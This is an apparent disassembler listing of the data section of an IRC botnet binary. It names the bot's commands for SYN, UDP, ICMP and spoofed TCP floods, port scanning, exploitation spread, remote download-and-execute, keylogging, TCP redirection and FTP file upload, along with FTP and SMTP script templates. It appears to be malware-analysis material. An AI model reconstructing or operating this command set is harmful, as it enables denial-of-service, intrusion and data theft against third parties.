dword_4367B0	dd 45444F4Dh, 732520h	; DATA XREF: sub_40EE72+423Fo
dword_4367B8	dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h
					; DATA XREF: sub_40EE72+4212o
		dd 2202967h, 2002BBBBh,	63694E20h, 2528206Bh, 203A2973h
		dd 7325h
dword_4367E4	dd 4B43494Eh, 732520h	; DATA XREF: sub_40EE72+41B9o
					; sub_40EE72+4CADo
dword_4367EC	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40EE72+419Ao
dword_4367F8	dd 54524150h, 732520h	; DATA XREF: sub_40EE72+4130o
dword_436800	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_412F8Fo
		dd 2BBBB02h
aRepeatNotAllow	db '  Repeat not allowed in command line: %s',0
		align 4
dword_436844	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+40E6o
		dd 2BBBB02h, 65522020h,	74616570h, 7325203Ah, 0
aRepeat		db 'repeat',0           ; DATA XREF: sub_40EE72+4092o
		align 4
dword_436874	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_412EBCo
		dd 2BBBB02h, 65442020h,	2E79616Ch, 0
dword_436898	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_40EE72+400Ao
					; sub_40EE72+40BDo ...
unk_4368A8	db    2			; DATA XREF: sub_40EE72:loc_412E29o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aBotIdMustBeDif	db ' Bot ID must be different than current running process.',0
unk_4368FC	db    2			; DATA XREF: sub_40EE72+3FADo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToStartD	db ' Failed to start download thread, error: <%d>.',0
		align 4
unk_436948	db    2			; DATA XREF: sub_40EE72+3F3Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 75h,	70h, 64h
		db  61h	; a
		db 74h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aDownloadingUpd	db ' Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_40EE72+3E95o
		align 10h
dword_436990	dd 7A026E02h, 201F6D1Fh, 65786528h, 1F702E63h, 29671F6Ch
					; DATA XREF: sub_40EE72+3E33o
		dd 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh,	732520h
unk_4369B8	db    2			; DATA XREF: sub_40EE72+3E28o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 65h,	78h, 65h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTExecute	db '  Couldn',27h,'t execute file.',0
		align 4
unk_4369EC	db    2			; DATA XREF: sub_40EE72+3DA0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_16	db '  Failed to start search thread, error: <%d>.',0
		align 4
unk_436A38	db    2			; DATA XREF: sub_40EE72+3D26o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingFor_0	db '  Searching for file: %s in: %s.',0
		align 4
dword_436A78	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40EE72:loc_412AF9o
					; sub_40EE72:loc_413962o
		dd 0BBBB0220h, 2002h
unk_436A94	db    2			; DATA XREF: sub_40EE72+3C6Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aRenameSToS_	db '  Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_436AC8	db    2			; DATA XREF: sub_40EE72:loc_412ABFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidFloodTi	db '  Invalid flood time must be greater than 0.',0
		align 10h
unk_436B10	db    2			; DATA XREF: sub_40EE72+3C43o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartF	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_436B58	db    2			; DATA XREF: sub_40EE72+3BCFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSForSS	db '  Flooding: (%s) for %s seconds.',0
		align 4
unk_436B94	db    2			; DATA XREF: sub_40EE72+3B4Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Ch, 6Fh
		db  6Eh	; n
		db 65h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToSta_17	db ' Failed to start clone thread, error: <%d>.',0
unk_436BDC	db    2			; DATA XREF: sub_40EE72+3ADDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Ch, 6Fh
		db  6Eh	; n
		db 65h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aCreatedOnSDInC	db ' Created on %s:%d, in channel %s.',0
		align 4
unk_436C1C	db    2			; DATA XREF: sub_40EE72+3A55o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_18	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_436C64	db    2			; DATA XREF: sub_40EE72+39E6o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSForS	db '  Flooding: (%s:%s) for %s seconds.',0
		align 4
dword_436CA4	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+3948o
		dd 2BBBB02h
aFailedToSta_19	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_436CEC	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+38D7o
		dd 2BBBB02h
aFloodingSSFo_0	db '  Flooding: (%s:%s) for %s seconds.',0
unk_436D28	db    2			; DATA XREF: sub_40EE72+385Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartT	db '  Failed to start transfer thread, error: <%d>.',0
		align 4
unk_436D78	db    2			; DATA XREF: sub_40EE72+37EFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloadingUrl	db '  Downloading URL: %s to: %s.',0
		align 4
unk_436DB4	db    2			; DATA XREF: sub_40EE72+371Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartR	db '   Failed to start redirection thread, error: <%d>.',0
		align 4
unk_436E08	db    2			; DATA XREF: sub_40EE72+36AEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTcpRedirectCre	db '   TCP redirect created from: %s:%d to: %s:%d.',0
unk_436E54	db    2			; DATA XREF: sub_40EE72+3620o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_20	db '  Failed to start scan thread, error: <%d>.',0
		align 10h
unk_436EA0	db    2			; DATA XREF: sub_40EE72+35B1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aPortScanStarte	db '  Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0		db '[%s] <%s> %s',0     ; DATA XREF: sub_40EE72+352Do
		align 4
aSSS_1		db '[%s] * %s %s',0     ; DATA XREF: sub_40EE72+3430o
		align 4
dword_436F0C	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_40EE72+33A2o
					; sub_40EE72+43EFo
unk_436F18	db    2			; DATA XREF: sub_40EE72+3340o
					; sub_40EE72+5177o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_21	db '  Failed to start scan thread, error: <%d>.',0
		align 10h
unk_436F60	db    2			; DATA XREF: sub_40EE72+32D1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSExploitationS	db '  %s Exploitation started on %s:%d waiting %d seconds for %d minu'
		db 'tes using %d threads.',0
aSequential	db 'Sequential',0       ; DATA XREF: sub_40EE72+32A6o
					; sub_40EE72+50DBo
		align 4
aRandom_0	db 'Random',0           ; DATA XREF: sub_40EE72+329Fo
					; sub_40EE72+50D4o
		align 4
unk_436FE4	db    2			; DATA XREF: sub_40EE72+3161o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_22	db '  Failed to start scan, no IP specified.',0
		align 4
unk_437028	db    2			; DATA XREF: sub_40EE72+301Ao
					; sub_40EE72+4F1Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aAlreadyDScanni	db '  Already %d scanning threads. Too many specified.',0
dword_437074	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2FE9o
		dd 2BBBB02h
aFailedToSta_23	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_4370BC	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2F7Ao
		dd 2BBBB02h
aSendingDPacket	db '  Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_40EE72+2EA2o
		align 4
unk_43712C	db    2			; DATA XREF: sub_40EE72+2E8Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_24	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_437174	db    2			; DATA XREF: sub_40EE72+2E22o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendingDPingsT	db '  Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
dword_4371CC	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_411BF4o
		dd 2BBBB02h
aInvalidFlood_0	db '  Invalid flood time must be greater than 0.',0
		align 4
dword_437214	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2D78o
		dd 2BBBB02h
aFailedToSta_25	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_43725C	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2CFEo
		dd 2BBBB02h
aSSFloodingSSFo	db '  %s %s flooding: (%s:%s) for %s seconds.',0
		align 10h
aNormal		db 'Normal',0           ; DATA XREF: sub_40EE72+2CEEo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_40EE72+2CE7o
dword_4372B0	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2C4Co
		dd 2BBBB02h
aInvalidFloodTy	db '  Invalid flood type specified.',0
dword_4372E8	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4119D3o
		dd 2BBBB02h
aUploadingFileS	db '  Uploading file: %s to: %s failed.',0
dword_437324	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2B5Ao
		dd 2BBBB02h
aUploadingFil_0	db '  Uploading file: %s to: %s',0
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_40EE72+2B43o
aSS_4		db '-s:%s',0            ; DATA XREF: sub_40EE72+2B2Co
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_40EE72+2B09o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_40EE72+2AD4o
		align 4
dword_43739C	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2A8Ao
		dd 2BBBB02h
aFileNotFoundS_	db '  File not found: %s.',0
		align 4
aFtp_upload	db 'ftp.upload',0       ; DATA XREF: sub_40EE72+2A67o
		align 4
aUtil_hcon	db 'util.hcon',0        ; DATA XREF: sub_40EE72+2A44o
		align 4
aUtil_httpcon	db 'util.httpcon',0     ; DATA XREF: sub_40EE72+2A2Do
		align 4
unk_4373F4	db    3			; DATA XREF: sub_40EE72+2A11o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 65h
		db  6Dh	; m
		db 61h,	69h, 6Ch
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5MessageSentTo	db '5  Message sent to %s.',0
		align 4
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_40EE72+299Do
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
a__0:					; DATA XREF: sub_40EE72+2901o
		unicode	0, <_>,0
aUtil_email	db 'util.email',0       ; DATA XREF: sub_40EE72+28B2o
		align 10h
aDdos_tcpf	db 'ddos.tcpf',0        ; DATA XREF: sub_40EE72+289Bo
		align 4
aDdos_tcpflood	db 'ddos.tcpflood',0    ; DATA XREF: sub_40EE72+2884o
		align 4
aP:					; DATA XREF: sub_40EE72+286Do
		unicode	0, <p>,0
aDdos_pingf	db 'ddos.pingf',0       ; DATA XREF: sub_40EE72+2856o
		align 4
aDdos_pingflood	db 'ddos.pingflood',0   ; DATA XREF: sub_40EE72+283Fo
		align 4
aU:					; DATA XREF: sub_40EE72+2828o
		unicode	0, <u>,0
aDdos_udpf	db 'ddos.udpf',0        ; DATA XREF: sub_40EE72+2811o
		align 4
aDdos_udpflood	db 'ddos.udpflood',0    ; DATA XREF: sub_40EE72+27FAo
		align 4
aAdv		db 'adv',0              ; DATA XREF: sub_40EE72+27E3o
aAdvscan	db 'advscan',0          ; DATA XREF: sub_40EE72+27CCo
aClone_ac	db 'clone.ac',0         ; DATA XREF: sub_40EE72+27A3o
		align 4
aClone_action	db 'clone.action',0     ; DATA XREF: sub_40EE72+278Co
		align 4
aClone_pm	db 'clone.pm',0         ; DATA XREF: sub_40EE72+2775o
		align 10h
aClone_privmsg	db 'clone.privmsg',0    ; DATA XREF: sub_40EE72+275Eo
		align 10h
aRoot_ps	db 'root.ps',0          ; DATA XREF: sub_40EE72+2747o
aRoot_portscan	db 'root.portscan',0    ; DATA XREF: sub_40EE72+2730o
		align 4
aDaemon_rd	db 'daemon.rd',0        ; DATA XREF: sub_40EE72+2719o
		align 4
aDaemon_redirec	db 'daemon.redirect',0  ; DATA XREF: sub_40EE72+2702o
aDownload_wg	db 'download.wg',0      ; DATA XREF: sub_40EE72+26EBo
aDownload_wget	db 'download.wget',0    ; DATA XREF: sub_40EE72+26D4o
		align 10h
aDdos_synf	db 'ddos.synf',0        ; DATA XREF: sub_40EE72+26BDo
		align 4
aDdos_synflood	db 'ddos.synflood',0    ; DATA XREF: sub_40EE72+26A6o
		align 4
aClone_start	db 'clone.start',0      ; DATA XREF: sub_40EE72+264Ao
aClone_make	db 'clone.make',0       ; DATA XREF: sub_40EE72+2633o
		align 4
aDdos_ic	db 'ddos.ic',0          ; DATA XREF: sub_40EE72+260Ao
aDdos_icmp	db 'ddos.icmp',0        ; DATA XREF: sub_40EE72+25F3o
		align 4
aCom_mv		db 'com.mv',0           ; DATA XREF: sub_40EE72+25DCo
		align 10h
aCom_rename	db 'com.rename',0       ; DATA XREF: sub_40EE72+25C5o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_40EE72+25AEo
		align 10h
aFindfile	db 'findfile',0         ; DATA XREF: sub_40EE72+2597o
		align 4
aCom_e		db 'com.e',0            ; DATA XREF: sub_40EE72+2580o
		align 4
aCom_execute	db 'com.execute',0      ; DATA XREF: sub_40EE72+2569o
aDownload_up	db 'download.up',0      ; DATA XREF: sub_40EE72+2552o
aDownload_updat	db 'download.update',0  ; DATA XREF: sub_40EE72+253Bo
aIrc_de		db 'irc.de',0           ; DATA XREF: sub_40EE72+2524o
		align 4
aIrc_delay	db 'irc.delay',0        ; DATA XREF: sub_40EE72+250Do
		align 10h
aIrc_rp		db 'irc.rp',0           ; DATA XREF: sub_40EE72+24F6o
		align 4
aIrc_repeat	db 'irc.repeat',0       ; DATA XREF: sub_40EE72+24DFo
		align 4
aClone_p	db 'clone.p',0          ; DATA XREF: sub_40EE72+24C8o
aClone_part	db 'clone.part',0       ; DATA XREF: sub_40EE72+24B1o
		align 4
aClone_j	db 'clone.j',0          ; DATA XREF: sub_40EE72+249Ao
aClone_join	db 'clone.join',0       ; DATA XREF: sub_40EE72+2483o
		align 4
aClone_ni	db 'clone.ni',0         ; DATA XREF: sub_40EE72+246Co
		align 4
aClone_nick	db 'clone.nick',0       ; DATA XREF: sub_40EE72+2455o
		align 4
aClone_m	db 'clone.m',0          ; DATA XREF: sub_40EE72+243Eo
aClone_mode	db 'clone.mode',0       ; DATA XREF: sub_40EE72+2427o
		align 4
aClone_ra	db 'clone.ra',0         ; DATA XREF: sub_40EE72+2410o
		align 4
aClone_raw	db 'clone.raw',0        ; DATA XREF: sub_40EE72+23F9o
		align 10h
aIrc_m		db 'irc.m',0            ; DATA XREF: sub_40EE72+23E2o
		align 4
aIrc_mode	db 'irc.mode',0         ; DATA XREF: sub_40EE72+23CBo
		align 4
aIrc_cy		db 'irc.cy',0           ; DATA XREF: sub_40EE72+23B4o
		align 4
aIrc_cycle	db 'irc.cycle',0        ; DATA XREF: sub_40EE72+239Do
		align 4
aIrc_ac		db 'irc.ac',0           ; DATA XREF: sub_40EE72+2386o
		align 10h
aIrc_action	db 'irc.action',0       ; DATA XREF: sub_40EE72+236Fo
		align 4
aIrc_pm		db 'irc.pm',0           ; DATA XREF: sub_40EE72+2358o
		align 4
aIrc_privmsg	db 'irc.privmsg',0      ; DATA XREF: sub_40EE72+2341o
aIrc_aa		db 'irc.aa',0           ; DATA XREF: sub_40EE72+232Ao
		align 4
aIrc_addalias	db 'irc.addalias',0     ; DATA XREF: sub_40EE72+2313o
		align 4
aIrc_gh		db 'irc.gh',0           ; DATA XREF: sub_40EE72+22EAo
		align 10h
aIrc_gethost	db 'irc.gethost',0      ; DATA XREF: sub_40EE72+22D3o
aCom_cap	db 'com.cap',0          ; DATA XREF: sub_40EE72+22BCo
aCom_capture	db 'com.capture',0      ; DATA XREF: sub_40EE72+22A5o
dword_437740	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4110C9o
		dd 2BBBB02h
aCommandUnknown	db '  Command unknown.',0
		align 4
dword_43776C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4110C2o
		dd 2BBBB02h
aNoMessageSpeci	db '  No message specified.',0
dword_43779C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_411077o
		dd 2BBBB02h
aUserListFailed	db '  User list failed.',0
dword_4377C8	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+21FEo
		dd 2BBBB02h
aUserListComple	db '  User list completed.',0
		align 4
aUser		db 'user',0             ; DATA XREF: sub_40EE72+218Ao
		align 10h
dword_437800	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_410FF1o
		dd 2BBBB02h
aShareListFaile	db '  Share list failed.',0
		align 10h
dword_437830	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2175o
		dd 2BBBB02h
aShareListCompl	db '  Share list completed.',0
aShare		db 'share',0            ; DATA XREF: sub_40EE72+211Fo
		align 4
aDelete		db 'delete',0           ; DATA XREF: sub_40EE72+20FDo
		align 10h
aPause		db 'pause',0            ; DATA XREF: sub_40EE72+20CDo
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_40EE72+20B5o
		align 10h
dword_437880	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_410F1Co
		dd 2BBBB02h
aServiceListFai	db '  Service list failed.',0
		align 10h
dword_4378B0	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+20A0o
		dd 2BBBB02h
aServiceListCom	db '  Service list completed.',0
		align 4
dword_4378E4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2036o
		dd 2BBBB02h
aFailedToLoadAd	db '  Failed to load advapi32.dll or netapi32.dll.',0
		align 4
aCom_net	db 'com.net',0          ; DATA XREF: sub_40EE72+2012o
unk_437934	db    2			; DATA XREF: sub_40EE72+1FD1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToSta_26	db ' Failed to start logging thread, error: <%d>.',0
		align 10h
unk_437980	db    2			; DATA XREF: sub_40EE72+1F66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aKeyLoggerActiv	db ' Key logger active.',0
unk_4379B0	db    2			; DATA XREF: sub_40EE72+1EE5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aAlreadyRunni_1	db ' Already running.',0
		align 10h
unk_4379E0	db    2			; DATA XREF: sub_40EE72:loc_410D33o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aNoKeyLoggerThr	db ' No key logger thread found.',0
		align 4
unk_437A1C	db    2			; DATA XREF: sub_40EE72+1EB7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
